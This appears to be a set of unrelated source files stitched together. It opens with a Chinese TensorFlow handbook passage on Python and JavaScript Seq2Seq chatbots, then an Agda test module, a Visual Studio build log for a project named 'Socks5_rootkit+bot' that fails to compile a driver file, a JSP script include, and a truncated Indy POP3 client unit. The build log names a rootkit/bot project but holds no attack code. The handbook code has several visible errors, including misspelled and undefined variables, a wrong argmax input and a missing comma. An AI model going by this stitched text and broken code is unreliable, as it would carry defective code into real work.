ChatDecoder(voc_size=self.voc_size) def call(self, inputs, training=False, teacher_forcing_targets=None): inputs = tf.convert_to_tensor(inputs) batch_size = tf.shape(inputs)[0] inputs = self.embedding(inputs) encoder_outputs, encoder_hidden_state = self.encoder(inputs=inputs) batch_sos_one_hot = tf.ones([batch_size, 1, 1]) \ * [tf.one_hot(self.indice_sos, self.voc_size)] decoder_output = batch_sos_one_hot decoder_state = encoder_hidden_state outputs = tf.zeros([batch_size, 0, self.voc_size]) for t in range(0, MAX_LEN): if training and teacher_forcing_targets is not None: target_indice = tf.expand_dims( teacher_forcing_targets[:, t], axis=-1) else: target_indice = tf.argmax(decoder_output, axis=-1) decoder_inputs = self.embedding(target_indice) decoder_output, decoder_state = self.decoder( inputs=decoder_inputs, initial_state=decoder_state, ) outputs = tf.concat([outputs, decoder_output], axis=1) return outputs 训练过程与本书的 RNN 模型训练基本一致,在此复述: - 从DataLoader中随机取一批训练数据; - 将这批数据送入模型,计算出模型的预测值; - 将模型预测值与真实值进行比较,计算损失函数(loss); - 计算损失函数关于模型变量的导数; - 使用优化器更新模型参数以最小化损失函数。 .. code-block:: python LEARNING_RATE = 1e-3 NUM_STEP = 10000 BATCH_SIZE = 64 def loss_function(model, x, y): predictions = model(inputs=x, training=True, teacher_forcing_targets=y) y_without_sos = tf.concat([y[:, 1:], tf.expand_dims(tf.fill([BATCH_SIZE], 0.), axis=1)],axis=1) return tf.nn.sparse_softmax_cross_entropy_with_logits( labels=y_without_sos, logits=predictions) def grad(model, inputs, targets): with tf.GradientTape() as tape: loss_value = loss_function(model, inputs, targets) return tape.gradient(loss_value, model.variables) data_loader = DataLoader() vocabulary = Vocabulary(data_loader.raw_text) chitchat = ChitChat(vocabulary=vocabulary) optimizer = tf.optimizers.Adam(learning_rate=LEARNING_RATE) checkpoint = tf.train.Checkpoint(optimizer=optimizer, model=chitchat) for batch_index in range(NUM_STEP): queries, responses = data_loader.get_batch(BATCH_SIZE) queries_sequences = vocabulary.texts_to_padded_sequences(queries) responses_sequences = vocabulary.texts_to_padded_sequences(responses) grads = grad(chitchat, queries_sequences, responses_sequences) optimizer.apply_gradients(grads_and_vars=zip(grads, chitchat.variables)) print("step %d: loss %f" % (batch_index, loss(chitchat, queries_sequences, responses_sequences).numpy()) checkpoint.save('./checkpoints') 训练时,可以通过输出了解模型的loss:: step 0: loss 2.019347 step 10: loss 1.798050 step 20: loss 1.87050 step 30: loss 1.758132 step 40: loss 1.821826 模型训练完成后,我们通过 `checkpoint.save()` 函数将模型的参数存在 `./checkpoints` 目录中。最后,我们需要一个用来对话的程序,来测试实际效果。我们来给 ChitChat 增加 predict 方法: .. code-block:: python class ChitChat(tf.keras.Model): # ... append the following code to previous code def predict(self, inputs): inputs = np.expand_dims(inputs, 0) outputs = self(inputs) outputs = tf.squeeze(outputs) response_indices = [] for t in range(0, MAX_LEN): output = outputs[t] indice = tf.argmax(inputs).numpy() if indice == self.indice_eos: break response_indices.append(indice) return response_indices 然后,我们就可以实现一个简单的 Chat 程序。具体实现如下: .. code-block:: python data_loader = DataLoader() vocabulary = Vocabulary(data_loader.raw_text) chitchat = ChitChat(vocabulary) checkpoint = tf.train.Checkpoint(model=chitchat) checkpoint.restore(tf.train.latest_checkpoint('./checkpoints')) index_word = vocabulary.tokenizer.index_word word_index = vocabulary.tokenizer.word_index while True: try: query = input('> ').lower() if query == 'q' or query == 'quit': break query = data_loader.preprocess(query) query_sequence = vocabulary.texts_to_padded_sequences([query])[0] response_sequence = chitchat.predict(query_sequence) response_word_list = [ index_word[indice] for indice in response_sequence if indice != 0 and indice != word_index[END_TOKEN] ] print('Bot:', ' '.join(response_word_list)) except KeyError: print("OOV: Please use simple words with the ChitChat Bot!") 最终生成的对话的界面将会是这样子的:: > how are you ? Bot: fine . > where are you ? Bot: i don t know . Tensorflow JavaScript 闲聊对话模型 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 本章我们将根据前述章节的 Python 版闲聊对话模型,实现一个基于 JavaScript 版的序列到序列模型(Sequence to Sequence, Seq2Seq)。它同样是基于 RNN 的 Encoder-Decoder 结构,具体基本介绍,请读者参考 Python 版闲聊对话模型的相关章节。 这里的Encoder-Decoder结构,简单的来说就是算法包含两部分,一个负责对输入的信息进行Encoding,将输入转换为向量形式;然后由Decoder对这个向量进行解码,还原为输出序列。 这个任务预测的是通过一个序列,来预测另外一个对应的序列。举例来说,常见的打招呼就是一个序列到序列的过程:: 输入:How are you ? 输出:Fine, thank you . 这个过程的输入序列有4个 token: ``['how', 'are', 'you', '?']`` ,输出序列有5个 token: ``['fine', ',', 'thank', 'you', '.']`` 。我们希望建立这样的模型,输入长为 ``maxLength`` 的序列,输入张量形状为 ``[null, max_length]`` ,输出与这个序列对应的序列中 token 的概率分布,概率分布的维度为词汇表大小 ``vocSize`` ,输出张量形状为 ``[null, maxLength, vocSize]`` 。 首先,我们下载预先准备好数据集,将其存为 ``dataset.txt`` 。数据集的格式为每行为一对序列,分别为输入序列和输出序列,之间用 ``'\t'`` 制表符隔开。序列中的每一个 token 之间,都通过 ``' '`` 空格符号进行分割。 :: $ wget https://github.com/huan/python-concise-chitchat/releases/download/v0.0.1/dataset.txt.gz dataset.txt.gz 100% [======================>] 986.60K 282KB/s in 3.5s 2019-03-15 22:59:00 (282 KB/s) - ‘dataset.txt.gz’ saved [1010276/1010276] $ gzip -d dataset.txt.gz $ ls -l dataset.txt l-rw-r--r-- 1 zixia wheel 3516695 Mar 14 13:15 dataset.txt $ head -3 dataset.txt did you change your hair ? no . no . you might wanna think about it you the new guy ? so they tell me ... 我们需要将它转换为 Tensorflow Dataset 格式: .. code-block:: javascript import * as tf from '@tensorflow/tfjs' type Seq2seqData = { input: string, output: string, } const dataset = tf.data.csv('dataset.txt', { hasHeader: false, columnNames: ['input', 'output'], delimiter: '\t', }) as any as tf.data.Dataset<Seq2seqData> 其次,我们还需要基于 ``Dataset`` 中输入序列和输出序列中的文本数据,建立对应的词汇表 ``Vocabulary`` 来负责管理以下5项任务: 1. 将所有单词和标点符号进行编码; 2. 记录词汇表大小; 3. 建立单词到编码数字,以及编码数字到单词的映射字典; .. code-block:: javascript class Vocabulary { private readonly tokenIndice: Map<string, number> private readonly indiceToken: Map<number, string> public maxSeqLength: number public size: number constructor () { this.tokenIndice = new Map<string, number>() this.indiceToken = new Map<number, string>() this.size = 1 // Including the reserved 0 this.maxSeqLength = 0 } public fitToken(token: string): void { if (!this.tokenIndice.has(token)) { this.tokenIndice.set(token, this.size) this.indiceToken.set(this.size, token) this.size++ } } public fitText(text: string): void { const tokenList = [...text.split(/\s+/)] if (tokenList.length > this.maxSeqLength) { this.maxSeqLength = tokenList.length } for (const token of tokenList) { this.fitToken(token) } } public token(indice: number): string { return this.indiceToken.get(indice) as string } public indice (token: string): number { return this.tokenIndice.get(token) as number } public sequenize ( text: string, length = 0, ): number[] { const tokenList = [...text.split(/\s+/)] const indiceList = tokenList.map(token => this.indice(token)) if (length === -1) { indiceList.length = this.maxSeqLength if (this.maxSeqLength > tokenList.length) { indiceList.fill(0, tokenList.length) } } return indiceList } } 接下来,我们将数据集和 ``Vocabulary`` 结合起来,并对数据集进行数据向量化。 .. code-block:: javascript export const START_TOKEN = '\t' export const END_TOKEN = '\n' const voc = new Vocabulary() voc.fitToken(START_TOKEN) voc.fitToken(END_TOKEN) await dataset.forEachAsync(value => { voc.fitText(value.input) voc.fitText(value.output) }) // 额外的 START_TOKEN 和 END_TOKEN voc.maxSeqLength += 2 const seq2seqDataset = dataset .map(value => { const input = tf.tensor(voc.sequenize(value.input, -1)) const decoderInputBuf = tf.buffer<tf.Rank.R1>([ voc.maxSeqLength, ]) const decoderTargetBuf = tf.buffer<tf.Rank.R2>([ voc.maxSeqLength, voc.size, ]) const outputIndiceList = [ voc.indice(START_TOKEN), ...voc.sequenize(value.output), voc.indice(END_TOKEN), ] for (const [t, indice] of outputIndiceList.entries()) { decoeerInputBuf.set(indice, t) // shift left for target: not including START_OF_SEQ if (t > 0) { decoderTargetBuf.set(1, t - 1, indice) } } const decoderInput = decoderInputBuf.toTensor() const decoderTarget = decoderTargetBuf.toTensor() const xs = { seq2seqInputs: inputTensor, seq2seqDecoderInputs: decoderInput, } const ys = decoderTarget return {xs, ys} }) 接下来进行模型的实现。我们先建立 Seq2Seq 模型所需的所有 Layers,具体实现如下: .. code-block:: javascript /** * Encoder Layers */ const encoderEmbeddingLayer = tf.layers.embedding({ inputDim: voc.size, outputDim: latentDim, }) const encoderRnnLayer = tf.layers.gru({ units: latentDim, returnState: true, }) /** * Decoder Layers */ const decoderEmbeddingLayer = tf.layers.embedding({ inputDim: voc.size, outputDim: latentDim, }) const decoderRnnLayer = tf.layers.gru({ units: latentDim, returnSequences: true, returnState: true, }) const decoderDenseLayer = tf.layers.dense({ units: voc.size, activation: 'softmax', }) 然后,由这些 Layers ,来组建我们的 Seq2Seq 模型。需要注意的是我们需要共享这些 Layers 建立三个不同的模型,分别是: * 用来训练的完整 Seq2Seq 模型: ``seq2seqModel`` * 用来对序列进行编码的 Encoder 模型: ``encoderModel`` * 用来对序列进行解码的 Decoder 模型: ``decoderModel`` 请注意这三个模型中,只有第一个模型 ``seq2seqModel`` 是用来训练参数所需要的,所以训练的的时候使用这个模型。而另外的两个模型 ``encoderModel`` 和 ``decoderModel`` ,使我们用来预测的时候需要使用的。这三个模型共享所有的 Layers 参数。 ``seq2seqModel`` 模型的输入包含两个,一个是 Encoder 的输入,另外一个是 Decoder 的输入。模型的输出是我们数据集的输出。 .. code-block:: javascript const inputs = tf.layers.input({ shape: [null], name: 'seq2seqInputs', }) const encoderEmbedding = encoderEmbeddingLayer.apply(inputs) as tf.Tensor<tf.Rank.R3> const [, encoderState] = encoderRnnLayer.apply(encoderEmbedding) as tf.SymbolicTensor[] const decoderInputs = tf.layers.input({ shape: [voc.maxSeqLength], name: 'seq2seqDecoderInputs', }) const decoderEmbedding = decoderEmbeddingLayer.apply(decoderInputs) as tf.SymbolicTensor const [decoderOutputs,] = decoderRnnLayer.apply( [decoderEmbedding, encoderState], { returnSequences: true, returnState: true, }, ) as tf.SymbolicTensor[] const decoderTargets = decoderDenseLayer.apply(decoderOutputs) as tf.SymbolicTensor const seq2seqModel = tf.model({ inputs: [inputs, decoderInputs], outputs: decoderTargets, name: 'seq2seqModel', }) 用来训练的 ``seq2seqModel`` 模型建立完毕后,即可基于模型的 ``fitDataset`` 函数进行训练: .. code-block:: javascript await seq2seqModel.fitDataset( seq2seqDataset .take(10000) .batch(64) { epochs: 100, }, ) 训练大约需要几个小时的时间,才能达到比较好的效果。 :: Epoch 1 / 20 eta=0.0 > 90436ms 576025us/step - loss=4.82 Epoch 2 / 20 eta=0.0 > 85229ms 542858us/step - loss=4.07 Epoch 3 / 20 eta=0.0 > 81913ms 521742us/step - loss=3.77 Epoch 4 / 20 eta=0.0 - loss=3.52 ... 然后,为了能够让我们使用训练好的模型,我们还需要基于已经训练好的模型 Layer 参数,构建独立的 ``encoderModel`` 和 ``decoderModel`` 。 Encoder子模型输入 ``numBatch`` 个由编码后单词和字符组成的,长为 ``maxLength`` 的序列,输入张量形状为 ``[numBatch, maxLength]`` ,输出与这个序列对应的上下文状态张量。 ``encoderModel`` 的代码实现如下: .. code-block:: javascript const encoderInputs = tf.layers.input({ shape: [null], name: 'encoderInputs', }) const encoderEmbedding = encoderEmbeddingLayer.apply(encoderInputs) const [, encoderState] = encoderRnnLayer.apply(encoderEmbedding) as tf.SymbolicTensor[] const encoderModel = tf.model({ inputs: encoderInputs, outputs: encoderState, }) ``deocoderModel`` 的输入有两个,分别是 t 时刻的 token indice,和对应的解码器 ``state``;输出也有两个,分别是 t+1 时刻的 token 的 voc 分布概率,和对应的解码器 ``state`` : ``decoderModel`` 子模型具体实现如下: .. code-block:: javascript const decoderInput = tf.layers.input({ shape: [1], name: 'decoderInputs', }) const decoderStateInput = tf.layers.input({ shape: [latentDim], name: 'decoderState', }) as tf.SymbolicTensor const decoderEmbedding = decoderEmbeddingLayer.apply(decoderInput) as tf.SymbolicTensor const [decoderOutputs, decoderStateOutput] = decoderRnnLayer.apply( [decoderEmbedding, decoderStateInput], { returnState: true, }, ) as tf.SymbolicTensor[] const decoderDenseOutputs = decoderDenseLayer.apply(decoderOutputs) as tf.SymbolicTensor const decoderModel = tf.model({ inputs: [decoderInput, decoderStateInput], outputs: [decoderDenseOutputs, decoderStateOutput], }) 最后,我们需要一个用来对话的程序。我们建立一个专门用来接收一句话输入,然后通过我们的模型预测,得到序列输出的函数 ``seq2seqDecoder()`` : .. code-block:: javascript export async function seq2seqDecoder ( input: string, encoderModel: tf.LayersModel, decoderModel: tf.LayersModel, voc: Vocabulary, ): Promise<string> { const inputSeq = voc.sequenize(input) const inputTensor = tf.tensor(inputSeq) const batchedInput = inputTensor.expandDims(0) let state = encoderModel.predict(batchedInput) as tf.Tensor<tf.Rank.R2> let tokenIndice = voc.indice(START_TOKEN) let decoderOutputs: tf.Tensor<tf.Rank.R3> let decodedToken: string let decodedTokenList = [] do { const decoderInputs = tf.tensor(tokenIndice).reshape([1, 1]) as tf.Tensor<tf.Rank.R2> ;[decoderOutputs, state] = decoderModel.predict([ decoderInputs, state, ]) as [ tf.Tensor<tf.Rank.R3>, tf.Tensor<tf.Rank.R2>, ] let decodedIndice = await decoderOutputs .squeeze() .argMax() .array() as number if (decodedIndice === 0) { // 0 for padding, should be treated as END decodedToken = END_TOKEN } else { decodedToken = voc.token(decodedIndice) } if (decodedToken === END_TOKEN) { break } else { decodedTokenList.push(decodedToken) } // save decoded data for next time step tokenIndice = decodedIndice } while (decodedTokenList.length < voc.maxSeqLength) return decodedTokenList.join(' ') } 最后,我们就可以用我们训练好的Seq2Seq模型,实现我们的 ChitChat 聊天功能了: .. code-block:: javascript const input = 'how are you ?' const decodedOutput = await seq2seqDecoder( input, encoderModel, decoderModel, inputVoc, outputVoc, ) console.log(`Input sentence: "${input}"`) console.log(`Decoded sentence: "${decodedOutput}"`) 模型每次的训练,得到的结果都会不尽相同。作者的某一次输出的内容是下面这样的: :: Input sentence: "how are you ?" Decoded setence: "good ." 注:本章节中的 JavaScript 版 ChitChat 完整代码,使用说明,和训练好的模型文件及参数,都可以在作者的 GitHub 上找到。地址: https://github.com/huan/tensorflow-handbook-javascript TensorFlow Swift 闲聊机器人 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 如果时间来得及,完成 Seq2Seq 模型。
{ "pile_set_name": "Github" }
open import Agda.Primitive postulate X : Set Id : Set → Set module Generic1HIT (S : Set) where module RecType k (C : Set k) (Necc : Set) where postulate P : Set module Flattening k (F : Set → Set) (C : Set k) (Necc : Set) where -- order f before C matters! module W = Generic1HIT (F X) -- use of F matters, application of F matters module M = W.RecType k C X -- k matters module S¹RecType i (A : Set i) where module FlatteningS¹ = Flattening i Id A X -- i matters here module HopfJunior = S¹RecType _ Set -- meta variable matters
{ "pile_set_name": "Github" }
<html> <head> <META HTTP-EQUIV="Content-Type" content="text/html; charset=utf-16"> </head> <body> <pre> <table width=100% bgcolor=#CFCFE5><tr> <td> <font face=arial size=+3> Build Log </font></table><table width=* cellspacing=0 cellpadding=0><tr><td width=0 bgcolor=#EDEDF5>&nbsp;</td><td width=0 bgcolor=#FFFFFF>&nbsp;</td><td width=*><pre> <h3>Build started: Project: _Sys, Configuration: Debug|Win32</h3> </pre></table><table width=100% bgcolor=#DFDFE5><tr><td><font face=arial size=+2> Command Lines </font></table><table width=* cellspacing=0 cellpadding=0><tr><td width=0 bgcolor=#EDEDF5>&nbsp;</td><td width=0 bgcolor=#FFFFFF>&nbsp;</td><td width=*><pre>Creating temporary file "s:\developer\Socks5_rootkit+bot\build\Debug\obj\_Sys\RSP0000013364044.rsp" with contents [ /Od /Oi /I &quot;C:\WINDDK\inc\wxp&quot; /I &quot;C:\WINDDK\inc\hal\wxp&quot; /I &quot;C:\WINDDK\inc\ifs\wxp&quot; /I &quot;C:\WINDDK\inc\ddk\wxp&quot; /I &quot;C:\WINDDK\inc\crt&quot; /I &quot;C:\WINDDK\inc&quot; /D &quot;_X86_&quot; /D &quot;DEBUG&quot; /D &quot;_DEBUG&quot; /D &quot;DBG&quot; /X /FD /EHa /MT /GS- /Fo&quot;..\build\Debug\obj\_Sys\\&quot; /Fd&quot;..\build\Debug\obj\_Sys\vc80.pdb&quot; /c /Zi /Gz /TC &quot;.\bot_entry.c&quot; ] Creating command line "cl.exe @"s:\developer\Socks5_rootkit+bot\build\Debug\obj\_Sys\RSP0000013364044.rsp" /nologo /errorReport:prompt" </pre></table><table width=100% bgcolor=#DFDFE5><tr><td><font face=arial size=+2> Output Window </font></table><table width=* cellspacing=0 cellpadding=0><tr><td width=0 bgcolor=#EDEDF5>&nbsp;</td><td width=0 bgcolor=#FFFFFF>&nbsp;</td><td width=*><pre>Compiling... bot_entry.c s:\developer\socks5_rootkit+bot\bot_sys\bot_entry.h(1) : fatal error C1083: Cannot open include file: 'ntddk.h': No such file or directory </pre></table><table width=100% bgcolor=#DFDFE5><tr><td><font face=arial size=+2> Results </font></table><table width=* cellspacing=0 cellpadding=0><tr><td width=0 bgcolor=#EDEDF5>&nbsp;</td><td width=0 bgcolor=#FFFFFF>&nbsp;</td><td width=*><pre>Build log was saved at "file://s:\developer\Socks5_rootkit+bot\build\Debug\obj\_Sys\_Sys_BuildLog.htm" _Sys - 1 error(s), 0 warning(s) </pre></table><table width=100% height=20 bgcolor=#CFCFE5><tr><td><font face=arial size=+2> </font></table></body></html>
{ "pile_set_name": "Github" }
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <!-- javascript --> <script src="${pageContext.request.contextPath}/js/jquery.min.js"></script> <script src="${pageContext.request.contextPath}/js/jquery.validate.min.js"></script> <script src="${pageContext.request.contextPath}/js/jquery.form.js"></script> <script src="${pageContext.request.contextPath}/js/messages_zh.min.js"></script> <script src="${pageContext.request.contextPath}/js/tether.min.js"></script> <script src="${pageContext.request.contextPath}/js/bootstrap.js"></script> <script src="${pageContext.request.contextPath}/js/my.js"></script>
{ "pile_set_name": "Github" }
{ $Project$ $Workfile$ $Revision$ $DateUTC$ $Id$ This file is part of the Indy (Internet Direct) project, and is offered under the dual-licensing agreement described on the Indy website. (http://www.indyproject.org/) Copyright: (c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved. } { $Log$ } { Rev 1.39 1/7/05 3:29:12 PM RLebeau Fix for AV in Notification() Rev 1.38 12/21/04 1:51:42 AM RLebeau Bug fix for Capa() method. Rev 1.37 11/27/04 2:48:22 AM RLebeau Fixed bug in ownership of SASLMechanisms property Rev 1.36 10/26/2004 10:35:42 PM JPMugaas Updated ref. Rev 1.35 2004.04.18 1:39:26 PM czhower Bug fix for .NET with attachments, and several other issues found along the way. Rev 1.34 2004.04.07 6:02:42 PM czhower Implemented AutoLogin in a better manner. Rev 1.33 2004.04.07 5:53:56 PM czhower .NET overload Rev 1.32 2004.03.06 1:31:48 PM czhower To match Disconnect changes to core. Rev 1.31 2004.02.03 5:44:12 PM czhower Name changes Rev 1.30 2004.02.03 2:12:18 PM czhower $I path change Rev 1.29 1/25/2004 3:11:36 PM JPMugaas SASL Interface reworked to make it easier for developers to use. SSL and SASL reenabled components. Rev 1.28 1/21/2004 3:27:06 PM JPMugaas InitComponent Rev 1.27 1/12/04 12:22:40 PM RLebeau Updated RetrieveMailboxSize() and RetrieveMsgSize() to support responses that contain additional data after the octet values. Rev 1.26 22/12/2003 00:45:12 CCostelloe .NET fixes Rev 1.25 10/19/2003 5:42:36 PM DSiders Added localization comments. Rev 1.24 10/11/2003 7:14:34 PM BGooijen Changed IdCompilerDefines.inc path Rev 1.23 10/10/2003 11:39:40 PM BGooijen Compiles in DotNet now Rev 1.22 6/15/2003 01:17:10 PM JPMugaas Intermediate class no longer used. We use the SASL functionality right from the TIdSASLList. Rev 1.21 6/4/2003 04:10:36 PM JPMugaas Removed hacked GetInternelResponse. Updated to use Kudzu's new string reply code. Rev 1.20 5/26/2003 04:28:16 PM JPMugaas Removed GenerateReply and ParseResponse calls because those functions are being removed. Rev 1.19 5/26/2003 12:23:58 PM JPMugaas Rev 1.18 5/25/2003 03:54:46 AM JPMugaas Rev 1.17 5/25/2003 03:45:56 AM JPMugaas Rev 1.16 5/22/2003 05:27:52 PM JPMugaas Rev 1.16 5/20/2003 02:29:42 PM JPMugaas Updated with POP3Reply object. Rev 1.15 5/10/2003 10:10:46 PM JPMugaas Bug fixes. Rev 1.14 5/8/2003 08:44:16 PM JPMugaas Moved some SASL authentication code down to an anscestor for reuse. WIll clean up soon. Rev 1.13 5/8/2003 03:18:14 PM JPMugaas Flattened ou the SASL authentication API, made a custom descendant of SASL enabled TIdMessageClient classes. Rev 1.12 5/8/2003 11:28:10 AM JPMugaas Moved feature negoation properties down to the ExplicitTLSClient level as feature negotiation goes hand in hand with explicit TLS support. Rev 1.11 5/8/2003 03:03:00 AM JPMugaas Fixed a problem with SASL. It turns out that what was being processed with something from a previous command. It also turned out that some charactors were being removed from the SASL processing when they shouldn't have been. Rev 1.10 5/8/2003 02:18:08 AM JPMugaas Fixed an AV in IdPOP3 with SASL list on forms. Made exceptions for SASL mechanisms missing more consistant, made IdPOP3 support feature feature negotiation, and consolidated some duplicate code. Rev 1.9 5/7/2003 04:58:34 AM JPMugaas We now use the initial greeting message from the server when calculating the parameter for the APOP command. Note that we were calling CAPA before APOP and that could throw things off. Rev 1.8 4/5/2003 02:06:24 PM JPMugaas TLS handshake itself can now be handled. Rev 1.7 3/27/2003 05:46:40 AM JPMugaas Updated framework with an event if the TLS negotiation command fails. Cleaned up some duplicate code in the clients. Rev 1.6 3/19/2003 08:53:40 PM JPMugaas Now should work with new framework. Rev 1.5 3/17/2003 02:25:26 PM JPMugaas Updated to use new TLS framework. Now can require that users use TLS. Note that this setting create an incompatiability with Norton AntiVirus because that does act as a "man in the middle" when intercepting E-Mail for virus scanning. Rev 1.4 3/13/2003 09:49:26 AM JPMugaas Now uses an abstract SSL base class instead of OpenSSL so 3rd-party vendors can plug-in their products. Rev 1.3 2/24/2003 09:27:58 PM JPMugaas Rev 1.2 12/15/2002 04:27:10 PM JPMugaas POP3 now compiles and works in Indy 10. Rev 1.1 12-15-2002 12:57:40 BGooijen Added Top-command Rev 1.0 11/13/2002 07:58:22 AM JPMugaas 2002-08-18 - J. Berg - implement SASL, add CAPA and STLS 02 August 2002 - A. Neillans - Bug fix: [ 574171 ] TIdMessage not cleared before a retreive 11-10-2001 - J. Peter Mugaas Added suggested code from Andrew P.Rybin that does the following: -APOP Authentication Support -unrecognized text header now displayed in exception message -GetUIDL method 2001-AUG-31 DSiders Changed TIdPOP3.Connect to use ATimeout when calling inherited Connect. 2000-SEPT-28 SG Added GetUIDL as from code by 2000-MAY-10 HH Added RetrieveMailBoxSize and renamed RetrieveSize to RetrieveMsgSize. Finished Connect. 2000-MARCH-03 HH Converted to Indy } unit IdPOP3; { POP 3 (Post Office Protocol Version 3) } interface {$i IdCompilerDefines.inc} uses Classes, IdAssignedNumbers, IdGlobal, IdException, IdExplicitTLSClientServerBase, IdGlobalProtocols, IdMessage, IdMessageClient, IdReply, IdSASL, IdSASLCollection, IdBaseComponent, IdUserPassProvider; type TIdPOP3AuthenticationType = (patUserPass, patAPOP, patSASL); const DEF_POP3USE_IMPLICIT_TLS = False; DEF_ATYPE = patUserPass; type TIdPOP3 = class(TIdMessageClient) protected FAuthType : TIdPOP3AuthenticationType; FAutoLogin: Boolean; FAPOPToken : String; FHasAPOP: Boolean; FHasCAPA: Boolean; FSASLMechanisms : TIdSASLEntries; // function GetReplyClass:TIdReplyClass; override; function GetSupportsTLS: Boolean; override; procedure SetSASLMechanisms(AValue: TIdSASLEntries); procedure InitComponent; override; procedure Notification(AComponent: TComponent; Operation: TOperation); override; public function CheckMessages: Integer; procedure Connect; override; procedure Login; virtual; destructor Destroy; override; function Delete(const MsgNum: Integer): Boolean; procedure DisconnectNotifyPeer; override; procedure KeepAlive; function List(const ADest: TStrings; const AMsgNum: Integer = -1): Boolean; procedure ParseLIST(ALine: String; var VMsgNum: Integer; var VMsgSize: Int64); procedure ParseUIDL(ALine: String; var VMsgNum: Integer; var VUidl: String); function Reset: Boolean; function Retrieve(const MsgNum: Integer; AMsg: TIdMessage): Boolean; function RetrieveHeader(const MsgNum: Integer; AMsg: TIdMessage): Boolean; function RetrieveMsgSize(const MsgNum: Integer): Int64; function RetrieveMailBoxSize: Int64; function RetrieveRaw(const aMsgNo: Integer; const aDest: TStrings): boolean; overload; function RetrieveRaw(const aMsgNo: Integer; const aDest: TStream): boolean; overload; function RetrieveStats(var VMsgCount: Integer; var VMailBoxSize: Int64): Boolean; function UIDL(const ADest: TStrings; const AMsgNum: Integer = -1): Boolean; function Top(const AMsgNum: Integer; const ADest: TStrings; const AMaxLines: Integer = 0): boolean; function CAPA: Boolean; property HasAPOP: boolean read FHasAPOP; property HasCAPA: boolean read FHasCAPA; published property AuthType : TIdPOP3AuthenticationType read FAuthType write FAuthType default DEF_ATYPE; property AutoLogin: Boolean read FAutoLogin write FAutoLogin default True; property Host; property Username; property UseTLS; property Password; property Port default IdPORT_POP3; property SASLMechanisms : TIdSASLEntries read FSASLMechanisms write SetSASLMechanisms; end; type EIdPOP3Exception = class(EIdException); EIdDoesNotSupportAPOP = class(EIdPOP3Exception); EIdUnrecognizedReply = class(EIdPOP3Exception); implementation uses IdFIPS, IdHash, IdHashMessageDigest, IdTCPConnection, IdSSL, IdResourceStringsProtocols, IdReplyPOP3, IdCoderMIME, SysUtils; { TIdPOP3 } function TIdPOP3.CheckMessages: Integer; var LIgnore: Int64; begin // RLebeau: for backwards compatibility, raise an exception if STAT fails if not RetrieveStats(Result, LIgnore) then begin RaiseExceptionForLastCmdResult; end; // Only gets here if exception is not raised end; procedure TIdPOP3.Login; var S: String; LMD5: TIdHashMessageDigest5; begin if UseTLS in ExplicitTLSVals then begin if SupportsTLS then begin if SendCmd('STLS','') = ST_OK then begin {Do not translate} TLSHandshake; end else begin ProcessTLSNegCmdFailed; end; end else begin ProcessTLSNotAvail; end; end; case FAuthType of patAPOP: //APR begin if FHasAPOP then begin CheckMD5Permitted; LMD5 := TIdHashMessageDigest5.Create; try S := LowerCase(LMD5.HashStringAsHex(FAPOPToken+Password)); finally LMD5.Free; end;//try SendCmd('APOP ' + Username + ' ' + S, ST_OK); {Do not Localize} end else begin raise EIdDoesNotSupportAPOP.Create(RSPOP3ServerDoNotSupportAPOP); end; end; patUserPass: begin //classic method SendCmd('USER ' + Username, ST_OK); {Do not Localize} SendCmd('PASS ' + Password, ST_OK); {Do not Localize} end;//if APOP patSASL: begin // SASL in POP3 did not originally support Initial-Response. It was added // in RFC 2449 along with the CAPA command. If a server supports the CAPA // command then it *should* also support Initial-Response as well, however // many POP3 servers support CAPA but do not support Initial-Response // (which was formalized in RFC 5034). So, until we can handle that // descrepency better, we will simply disable Initial-Response for now. FSASLMechanisms.LoginSASL('AUTH', FHost, IdGSKSSN_pop, [ST_OK], [ST_SASLCONTINUE], Self, Capabilities, 'SASL', False); {do not localize} end; end; end; procedure TIdPOP3.InitComponent; begin inherited; FAutoLogin := True; FSASLMechanisms := TIdSASLEntries.Create(Self); FRegularProtPort := IdPORT_POP3; FImplicitTLSProtPort := IdPORT_POP3S; FExplicitTLSProtPort := IdPORT_POP3; Port := IdPORT_POP3; FAuthType := DEF_ATYPE; end; function TIdPOP3.Delete(const MsgNum: Integer): Boolean; begin Result := (SendCmd('DELE ' + IntToStr(MsgNum), '') = ST_OK); {do not localize} end; procedure TIdPOP3.DisconnectNotifyPeer; begin inherited DisconnectNotifyPeer; SendCmd('QUIT', ST_OK); {do not localize} end; function TIdPOP3.GetReplyClass:TIdReplyClass; begin Result := TIdReplyPOP3; end; procedure TIdPOP3.KeepAlive; begin SendCmd('NOOP', ST_OK); {Do not Localize} end; function TIdPOP3.Reset: Boolean; begin Result := (SendCmd('RSET', '') = ST_OK); {Do not Localize} end; function TIdPOP3.RetrieveRaw(const aMsgNo: Integer; const aDest: TStrings): boolean; var LEncoding: IIdTextEncoding; begin Result := (SendCmd('RETR ' + IntToStr(aMsgNo), '') = ST_OK); {Do not Localize} if Result then begin LEncoding := IndyTextEncoding_8Bit; IOHandler.Capture(aDest, LEncoding{$IFDEF STRING_IS_ANSI}, LEncoding{$ENDIF}); end; end; function TIdPOP3.RetrieveRaw(const aMsgNo: Integer; const aDest: TStream): boolean; var LEncoding: IIdTextEncoding; begin Result := (SendCmd('RETR ' + IntToStr(aMsgNo), '') = ST_OK); {Do not Localize} if Result then begin LEncoding := IndyTextEncoding_8Bit; IOHandler.Capture(aDest, LEncoding{$IFDEF STRING_IS_ANSI}, LEncoding{$ENDIF}); end; end; function TIdPOP3.Retrieve(const MsgNum: Integer; AMsg: TIdMessage): Boolean; begin Result := (SendCmd('RETR ' + IntToStr(MsgNum), '') = ST_OK); {Do not Localize} if Result then begin AMsg.Clear; // This is because of a bug in Exchange? with empty messages. See comment in ReceiveHeader if ReceiveHeader(AMsg) = '' then begin // Only retreive the body if we do not already have a full RFC ReceiveBody(AMsg); end; end; end; function TIdPOP3.RetrieveHeader(const MsgNum: Integer; AMsg: TIdMessage): Boolean; begin // Result := False; AMsg.Clear; SendCmd('TOP ' + IntToStr(MsgNum) + ' 0', ST_OK); {Do not Localize} // Only gets here if no exception is raised ReceiveHeader(AMsg,'.'); Result := True; end; function TIdPOP3.RetrieveMailBoxSize: Int64; var LIgnore: Integer; begin // RLebeau: for backwards compatibility, return -1 if STAT fails try if not RetrieveStats(LIgnore, Result) then begin RaiseExceptionForLastCmdResult; end; except Result := -1; end; end; function 